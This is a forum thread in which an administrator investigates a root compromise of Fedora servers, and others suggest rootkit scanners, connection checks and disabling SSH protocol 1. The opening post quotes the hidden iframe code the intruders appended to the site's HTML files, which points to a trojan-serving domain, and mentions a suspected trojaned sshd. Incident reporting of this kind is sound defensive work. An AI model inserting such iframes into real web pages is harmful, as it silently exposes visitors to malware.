Urgent - possible remote exploit on fedora core 3, core 1 and core 4

[al3x]

Recently we experienced massive security breach on our fedora servers.
Unfortunately there was no clear indication of the way of breaking in.
Affected were fc1 fc3 fc4 fc5
All indicates that exploiters got root access.
Started approximately Jan 5.
Hosts were running:
latest sendmail, named, spamassassin, sshd, gnu-pop3d from rpm
latest apache 1.3 + php4, pure-ftpd-1.0.21 compiled from source
The visible results were following:

- To all *htm* (or all index*) files at the end was added

 
<iframe src='hxxp://statrafongon.biz/strong/167/' width=1 height=1></iframe>
<iframe src='hxxp://statrafongon.biz/adv/new.php?adv=167' width=1 height=1></iframe>

(tt=xx) to break the URL validity - the link above leads to some site serving latest win32 VML vulnerability based trojan download page.
It's hosted on telcove.com premises and attempt to request telcove to shut down this server didn't work out.

- all files had original user ownership and different timestamp
- nothing suspicious in the logs except usual ssh banging
- no suspicious files anywhere on filesystem
- On some fc3 sshd stopped accepting public_key authentication with the funny message in /var/log/secure

 
sshd[6093]: error: key_read: uudecode ....(key source nere ) ...

Which brought me to conclusion that possibly sshd was trojaned
Quick comparison shows

Fedora Core release 3 (Heidelberg)
openssh-3.9p1-8.0.3
-rwxr-xr-x  1 root root 280336 Jan 12 17:47 sshd  
-rwxr-xr-x  1 root root 285944 Sep  7  2005 sshd.old

sshd.old is the version that gives funny messages... rpm reports correct version (sshd was directly copied from clean server).
However this key problem is only on 1 server

Fedora Core release 1 (Yarrow)
openssh-3.6.1p2-19
-rwxr-xr-x  1 root root 281112 Sep 17  2003 sshd
-rwxr-xr-x  1 root root 286636 Sep 17  2003 sshd

I dont have much fc4 and fc5 installation to come up with the check right away.
Same goes for rh72 and rh9.
(That sounds like really paranoid assumption but for last 5 days and nights I wouldn't be surprised).

Quick scan on all the servers gave mixed picture - rpm reported latest version which is openssh-3.9p1-8.0.3
Sizes vary as shown above.
Quick strings scan and comparison didn't give any additional information - I assume that trojaned version allows root login without
logging and password.

Please if somebody experienced the same problem has any bit of useful information regarding this contact me.
Thanks.

[paul matthijsse]

do you have rkhunter and/or chkrootkit installed? if not, do (as su):
# yum install rkhunter chkrootkit
and check their output.

Those funny messages do not sound ok to me, take care...

[pete_1967]

Have you checked other logs? Although seems like these people knew how to get in (possibly through bug in php, Apache or another service - or in some of your scripts), they may not know how to cover their tracks properly.

[al3x]

Update:
- chkrootkit didn't find anything interesting;
- rkhunter with latest updates reported /usr/sbin/prelink: /bin/ls: at least one of file's dependencies has changed since prelinking
/bin/ls [ BAD ]

though files size comparison gave same size different md5sum
# md5sum ./ls-fc3
e320ec63578bd5e5ad6954c96783847f ./ls-fc3 <- this is original taken form system where rkhunter liked it.
# md5sum /bin/ls
eb6d15ae9f631bdfd4b8bfaa3004d4ef /bin/ls

[al3x]

Originally Posted by pete_1967

Have you checked other logs? Although seems like these people knew how to get in (possibly through bug in php, Apache or another service - or in some of your scripts), they may not know how to cover their tracks properly.

I went through the logs many times, here is the catch
- apache runs as nobody - no root way in;
- named runs as named - same story;
- sendmail though questionable goes via smrsh - suspicious but acceptable
- gnu-pop3d - runs as root listens on all interfaces - 1st suspect;
- spamd - runs as root listens on localhost - i.e. could be tricked into doing things as root -2nd suspect.
Servers are pretty tight - no shell accounts, chrooted ftp, /tmp mounted noexec, /home mounted nosuid no apache permissions for wget,curl,gcc ...
But no info anywhere...

[brandor]

Copy over a clean copy of lsof and run "lsof -i" and see what else is open and where to.

[al3x]

Originally Posted by brandor

Copy over a clean copy of lsof and run "lsof -i" and see what else is open and where to.

Done that. No additional connections anywhere - I'd assume it'll rather let somebody in w/o password/logging. Additional ~5kb to executable size suggests encryption of this piece of functionality...
Although I could be totally wrong...
Need somebody with good *nix reverse engineering skills and curiosity...

[paul matthijsse]

just did a search on google for "key source nere". First interesting link goes to a Scandinavina military (or something) site that talks about the Network Enabling Runtime Environment (nere), it's unclassified, so you may read it! - Second link is more nasty:
http://www.justmyway.info/p2p/?k=key...erline-info.nl

that tries to download automatically a program named "key_source_nere.zip" which turns out to be a program called "loader.exe" and that sounds not good by design... Although I am not sure if this can harm a Linux box...

Take care, Paul.

[paul matthijsse]

Got it. This is adware stuff, that "changes some things on your machine". When you download this loader.exe program and open it in emacs, it says in the beginning some things about IE and later on you'll see a kind of client contract (in German) with a company called Global NetCom GmbH. It reads something like "by installing this software the client agrees to cooperate with Global Netcom on marketing stuff and therefore we change certain settings on your system", etc., etc. At the end you'll find an English contract as well.

So I think this IE-stuff does not any harm to your Linux box, although the question remains why you have that "funny" message around...

[al3x]

Originally Posted by paul matthijsse

So I think this IE-stuff does not any harm to your Linux box, although the question remains why you have that "funny" message around...

I really appreciate your participation but the scope of the problem is a little bit different here:
- these are Linux servers so in normal situations no users are there -physically or otherwise (ftp/pop3 doesn't count);
- what happens is performed by skilled outsiders who know exactly what they are doing...
*goes to install ssh brute force blockers...

[paul matthijsse]

Originally Posted by al3x

- what happens is performed by skilled outsiders who know exactly what they are doing...

Perhaps, though it's difficult to be sure on this. Any (remote) Windows boxes connected to your network?

[al3x]

Originally Posted by paul matthijsse

Perhaps, though it's difficult to be sure on this. Any (remote) Windows boxes connected to your network?

None directly with enough privileges...

[al3x]

Update:
Just confirmed - core4 also vulnerable - my primary suspect would be gnu-pop3d. Probably some buffer overflow with the shell code. Sucker doesn't drop privileges...

[Zigzagcom]

Just another question....which version of the openssh protocol is enabled, as there are Protocol 1 and 2.
Usually I disable version 1 and only run version 2.
See the top of /etc/ssh/sshd_config
As far as I can remember, version 1 has a known exploit.

http://www.ciac.org/ciac/bulletins/m-017.shtml

Not sure if the info on this link is still valid, though.

[al3x]

Originally Posted by Zigzagcom

Just another question....which version of the openssh protocol is enabled, as there are Protocol 1 and 2.
Usually I disable version 1 and only run version 2.
See the top of /etc/ssh/sshd_config
As far as I can remember, version 1 has a known exploit.

http://www.ciac.org/ciac/bulletins/m-017.shtml

Not sure if the info on this link is still valid, though.

Thank you.
Yes, that does looks scary - just increases list of my suspects - I think sshd with privilege separation started only in core5 - before it was root all the way...
However, I hope since then it should've got patched - protocol is weak, but I seriously doubt redhat will leave it like this...
As much as I don't like their ways...
Got to go around make sure it's only SSH2 - why keep buggy protocol enabled anyway - these who REALLY BADLY need it could enable it separately..